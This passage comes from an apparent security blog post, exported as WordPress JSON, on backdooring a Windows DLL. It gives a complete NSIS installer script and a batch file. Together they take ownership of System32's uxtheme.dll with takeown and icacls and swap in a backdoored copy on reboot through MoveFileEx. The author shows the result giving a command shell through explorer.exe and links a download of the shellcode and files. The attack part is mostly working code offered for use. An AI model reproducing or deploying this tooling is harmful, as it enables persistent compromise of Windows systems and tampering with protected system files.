HTML generated using hilite.me --><\/p>\n<div style=\"background: #f8f8f8; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800\">!ifndef<\/span> ___X64__NSH___\r\n<span style=\"color: #008800\">!define<\/span> ___X64__NSH___\r\n\r\n<span style=\"color: #008800\">!include<\/span> LogicLib.nsh\r\n\r\n\r\n<span style=\"color: #008800\">!define<\/span> IsWow64 <span style=\"color: #BB4444\">`&quot;&quot; IsWow64 &quot;&quot;`<\/span>\r\n<span style=\"color: #008800\">!macro<\/span> _IsWow64 _a _b _t _f\r\n  <span style=\"color: #008800\">!insertmacro<\/span> _LOGICLIB_TEMP\r\n  <span style=\"color: #AA22FF; font-weight: bold\">System<\/span>::<span style=\"color: #00A000\">Call<\/span> <span style=\"color: #AA22FF; font-weight: bold\">kernel32<\/span>::<span style=\"color: #00A000\">GetCurrentProcess<\/span>()p.s\r\n  <span style=\"color: #AA22FF; font-weight: bold\">System<\/span>::<span style=\"color: #00A000\">Call<\/span> <span style=\"color: #AA22FF; font-weight: bold\">kernel32<\/span>::<span style=\"color: #00A000\">IsWow64Process<\/span>(ps,*i0s)\r\n  <span style=\"color: #AA22FF; font-weight: bold\">Pop<\/span> <span style=\"color: #B8860B\">$_LOGICLIB_TEMP<\/span>\r\n  <span style=\"color: #008800\">!insertmacro<\/span> _!<span style=\"color: #666666\">=<\/span> <span style=\"color: #B8860B\">$_LOGICLIB_TEMP<\/span> 0 <span style=\"color: #BB4444\">`${_t}`<\/span> <span style=\"color: #BB4444\">`${_f}`<\/span>\r\n<span style=\"color: #008800\">!macroend<\/span>\r\n\r\n\r\n<span style=\"color: #008800\">!define<\/span> RunningX64 <span style=\"color: #BB4444\">`&quot;&quot; RunningX64 &quot;&quot;`<\/span>\r\n<span style=\"color: #008800\">!macro<\/span> _RunningX64 _a _b _t _f \r\n  <span style=\"color: #008800\">!if<\/span> <span style=\"color: #AA22FF\">${NSIS_PTR_SIZE}<\/span> <span style=\"color: #666666\">&gt;<\/span> 4\r\n    <span style=\"color: #008800\">!insertmacro<\/span> LogicLib_JumpToBranch <span style=\"color: #BB4444\">`${_t}`<\/span> <span style=\"color: #BB4444\">`${_f}`<\/span>\r\n  <span style=\"color: #008800\">!else<\/span>\r\n    <span style=\"color: #008800\">!insertmacro<\/span> _IsWow64 <span style=\"color: #BB4444\">`${_a}`<\/span> <span style=\"color: #BB4444\">`${_b}`<\/span> <span style=\"color: #BB4444\">`${_t}`<\/span> <span style=\"color: #BB4444\">`${_f}`<\/span>\r\n  <span style=\"color: #008800\">!endif<\/span>\r\n<span style=\"color: #008800\">!macroend<\/span>\r\n\r\n\r\n<span style=\"color: #008800\">!define<\/span> DisableX64FSRedirection <span style=\"color: #BB4444\">&quot;!insertmacro DisableX64FSRedirection&quot;<\/span>\r\n<span style=\"color: #008800\">!macro<\/span> DisableX64FSRedirection\r\n  <span style=\"color: #AA22FF; font-weight: bold\">System<\/span>::<span style=\"color: #00A000\">Call<\/span> <span style=\"color: #AA22FF; font-weight: bold\">kernel32<\/span>::<span style=\"color: #00A000\">Wow64EnableWow64FsRedirection<\/span>(i0)\r\n<span style=\"color: #008800\">!macroend<\/span>\r\n\r\n<span style=\"color: #008800\">!define<\/span> EnableX64FSRedirection <span style=\"color: #BB4444\">&quot;!insertmacro EnableX64FSRedirection&quot;<\/span>\r\n<span style=\"color: #008800\">!macro<\/span> EnableX64FSRedirection\r\n  <span style=\"color: #AA22FF; font-weight: bold\">System<\/span>::<span style=\"color: #00A000\">Call<\/span> <span style=\"color: #AA22FF; font-weight: bold\">kernel32<\/span>::<span style=\"color: #00A000\">Wow64EnableWow64FsRedirection<\/span>(i1)\r\n<span style=\"color: #008800\">!macroend<\/span>\r\n\r\n\r\n<span style=\"color: #008800\">!endif<\/span> <span style=\"color: #008800; font-style: italic\"># !___X64__NSH___<\/span>\r\n\r\n<span style=\"color: #008800\">!define<\/span> PRODUCT_CODE <span style=\"color: #BB4444\">&quot;joereplacer&quot;<\/span>\r\n \r\n<span style=\"color: #AA22FF; font-weight: bold\">RequestExecutionLevel<\/span> <span style=\"color: #880000\">admin<\/span>\r\n<span style=\"color: #AA22FF; font-weight: bold\">ShowInstDetails<\/span> <span style=\"color: #880000\">show<\/span> \r\n \r\n<span style=\"color: #008800; font-style: italic\">; The name of the installer<\/span>\r\n<span style=\"color: #AA22FF; font-weight: bold\">Name<\/span> <span style=\"color: #BB4444\">&quot;ReplaceOnReboot&quot;<\/span>\r\n \r\n<span style=\"color: #008800; font-style: italic\">; The file to write<\/span>\r\n<span style=\"color: #AA22FF; font-weight: bold\">OutFile<\/span> <span style=\"color: #BB4444\">&quot;JoesUxThemeReplacer.exe&quot;<\/span>\r\n \r\n\r\n \r\n<span style=\"color: #AA22FF; font-weight: bold\">Section<\/span> <span style=\"color: #BB4444\">&quot;&quot;<\/span> \r\n    <span style=\"color: #AA22FF; font-weight: bold\">MessageBox<\/span> <span style=\"color: #880000\">MB_OK<\/span> <span style=\"color: #BB4444\">&quot;Just DO IT&quot;<\/span>\r\n\t<span style=\"color: #AA22FF; font-weight: bold\">SetOutPath<\/span> <span style=\"color: #AA22FF\">$SYSDIR<\/span>\r\n\t<span style=\"color: #AA22FF\">${DisableX64FSRedirection}<\/span>\r\n\t<span style=\"color: #AA22FF; font-weight: bold\">File<\/span> <span style=\"color: #BB4444\">&quot;windows7_uxtheme.dll&quot;<\/span>\r\n\t<span style=\"color: #AA22FF; font-weight: bold\">File<\/span> <span style=\"color: #BB4444\">&quot;what_i_need.bat&quot;<\/span>\r\n \t<span style=\"color: #008800; font-style: italic\">;Call MoveFileEx on each file above (Params: &lt;source&gt;, &lt;destination&gt;, 4) 5 == Move on Reboot &amp;&amp; Replace Existing<\/span>\r\n\t<span style=\"color: #008800; font-style: italic\">; need trustedinstaller privs to do this.<\/span>\r\n\t<span style=\"color: #AA22FF; font-weight: bold\">System<\/span>::<span style=\"color: #00A000\">Call<\/span> <span style=\"color: #BB4444\">&quot;kernel32::CopyFile(t &#39;<\/span><span style=\"color: #AA22FF\">$SYSDIR<\/span><span style=\"color: #BB4444\">\\uxtheme.dll&#39;, t &#39;<\/span><span style=\"color: #AA22FF\">$SYSDIR<\/span><span style=\"color: #BB4444\">\\uxtheme.dll.old&#39;, b 1)&quot;<\/span>\r\n\t<span style=\"color: #AA22FF; font-weight: bold\">Exec<\/span> <span style=\"color: #BB4444\">&#39;&quot;$SYSDIR\\what_i_need.bat&quot;&#39;<\/span>\r\n\t<span style=\"color: #AA22FF; font-weight: bold\">System<\/span>::<span style=\"color: #00A000\">Call<\/span> <span style=\"color: #BB4444\">&quot;kernel32::MoveFileEx(t &#39;<\/span><span style=\"color: #AA22FF\">$SYSDIR<\/span><span style=\"color: #BB4444\">\\windows7_uxtheme.dll&#39;, t &#39;<\/span><span style=\"color: #AA22FF\">$SYSDIR<\/span><span style=\"color: #BB4444\">\\uxtheme.dll&#39;, i 5)&quot;<\/span>\r\n \r\n<span style=\"color: #AA22FF; font-weight: bold\">SectionEnd<\/span> <span style=\"color: #008800; font-style: italic\">; end the section<\/span>\r\n<\/pre>\n<\/div>\n<p>The file &#8216;what_i_need.bat&#8217; contains 2 commands &#8211; takeown and icacls to remove trustedinstaller privileges and grant the admin full privileges.<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #f8f8f8; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\">@<span style=\"color: #AA22FF; font-weight: bold\">echo<\/span> <span style=\"color: #AA22FF; font-weight: bold\">off<\/span>\r\ntakeown \/F c:\\windows\\system<span style=\"color: #666666\">32<\/span>\\uxtheme.dll \/A\r\nicacls c:\\windows\\system<span style=\"color: #666666\">32<\/span>\\uxtheme.dll \/grant administrators:F\r\n<\/pre>\n<\/div>\n<p>To use this script you need to place your backdoored dll and batch file into the same folder as this script and run the compile NSIS script tool. <\/p>\n<p>Now let&#8217;s try this on my VM. I&#8217;m using the same shellcode, just a different version of the dll (windows 7 x64).<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/my_vm.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/my_vm-300x188.png\" alt=\"my_vm\" width=\"300\" height=\"188\" class=\"alignnone size-medium wp-image-1339\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/my_vm-300x188.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/my_vm-768x480.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/my_vm-1024x640.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/my_vm.png 1444w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>No problems running the thing. <\/p>\n<p>After a quick reboot, our backdoored uxtheme.dll file takes the place of the old one. Our backdoor code is called on startup initialization of explorer.exe, so we don&#8217;t even need to wait for the user to select a theme. As you can see, the firewall is going a little crazy with explorer:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/seems_legit.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/seems_legit.png\" alt=\"seems_legit\" width=\"565\" height=\"408\" class=\"alignnone size-full wp-image-1338\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/seems_legit.png 565w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/seems_legit-300x217.png 300w\" sizes=\"(max-width: 565px) 100vw, 565px\" \/><\/a><\/p>\n<p>When I connect to the our local host via a raw connection in putty, here&#8217;s our command shell:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/yessir.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/yessir.png\" alt=\"yessir\" width=\"723\" height=\"452\" class=\"alignnone size-full wp-image-1340\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/yessir.png 723w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/yessir-300x188.png 300w\" sizes=\"(max-width: 723px) 100vw, 723px\" \/><\/a><\/p>\n<p>Fear me!<\/p>\n<p>All files, shellcode, screenshots, and code are available for <a href=\"https:\/\/gironsec.com\/code\/backdoor_dll_part_2.7z\">download here<\/a>.<\/p>\n<p>Stay tuned for part 3 when I delve into Linux.<\/p>\n<p>Happy hacking!<\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/1468389065767.jpg\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/1468389065767.jpg\" alt=\"1468389065767\" width=\"625\" height=\"945\" class=\"alignnone size-full wp-image-1341\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/1468389065767.jpg 625w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/1468389065767-198x300.jpg 198w\" sizes=\"(max-width: 625px) 100vw, 625px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today I have some good news. Backdooring a dll file is a lot easier than I first made it out to be. Especially if we skip the bullshit of the IAT and take advantage of shellcode. There are problems with using shellcode &#8211; size constraints are different. In my previous example, I didn&#8217;t need much [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,6,7],"tags":[110,72,106],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1307"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=1307"}],"version-history":[{"count":8,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1307\/revisions"}],"predecessor-version":[{"id":1346,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1307\/revisions\/1346"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=1307"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=1307"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=1307"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}